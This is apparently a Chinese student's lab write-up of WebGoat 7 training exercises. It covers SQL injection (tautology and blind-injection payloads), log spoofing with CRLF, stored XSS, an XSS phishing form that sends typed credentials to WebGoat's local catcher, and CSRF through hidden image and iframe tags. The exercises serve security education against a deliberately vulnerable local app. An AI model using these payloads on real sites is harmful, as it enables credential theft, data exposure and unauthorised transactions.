1.SQL注入攻击原理,如何防御?
netstat -tupln | grep 8080
查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。普通安装,命令行输入java -jar webgoat-container-7.0.1-war-exec.jar
浏览器转:localhost:8080/WebGoat
直接用默认用户名密码登录即可,开始练习
概念:注入数字型数据(如:永真式)达到注入的效果。
原理:在station字段中注入特征字符,组合成新的SQL语句。
如:SELECT * FROM weather_data WHERE station = [station]
目标:该例子通过注入SQL字符串查看所有的天气数据。
操作方法:
显示所有城市的天气情况,攻击成功!
概念:通过在日志文件中插入脚本实现欺骗。
原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
操作方法:
利用入回车(0D%)和换行符(%0A),在 username 中填入ctf%0d%0aLogin Succeeded for username: admin
攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>
作为用户名输入,可以看到弹窗的cookie信息
原理:通过注入字符串绕过认证
操作方法:
- 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为18。
hello‘ or ‘1‘ = ‘1
原理:通过注入数字型数据,绕过认证,可以通过普通员工的账户,查看到BOSS的用户信息。
操作方法:
右键点击页面,选择inspect Element审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。
攻击成功
概念:通过注入字符串绕过认证
原理:基于以下查询语句构造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = ‘?‘
目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。
操作方法:
Smith‘ or 1=1--
(Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据)原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
目标:利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。
操作方法:
输入101,得到该用户的信息。我们可以看到,输入的语句没有验证,很容易进行 SQL 注入
输入注入语句101; update employee set salary=18000执行两个语句
原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
操作方法:
本题目中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。但我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。
例如:输入查询语句101 AND 1=1,因为两个条件都成立,所以页面返回帐号有效
输入查询语句101 AND 1=2,因为第二个条件不成立,所以而页面返回帐号无效
针对查询语句的后半部分构造复杂语句,如:101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 5000 );如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364
原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
目标:找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本题目。
操作方法:
跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
点击Cross-Site Scripting (XSS) Phishing with XSS
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
编写一个带用户名和密码输入框的表格
//脚本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
<script>alert("I am 20165301ctf. You‘ve been attacked!!!");</script>
<script>alert("You‘ve been attacked!!!");</script>
,点击purse的同时页面就给出了反馈<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1"
/>,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交<iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
实验内容好多啊。。。webgoat真厉害
2018-2019-2 网络对抗技术 20165301 Exp 9 Web安全基础
原文:https://www.cnblogs.com/CTF5301/p/10927194.html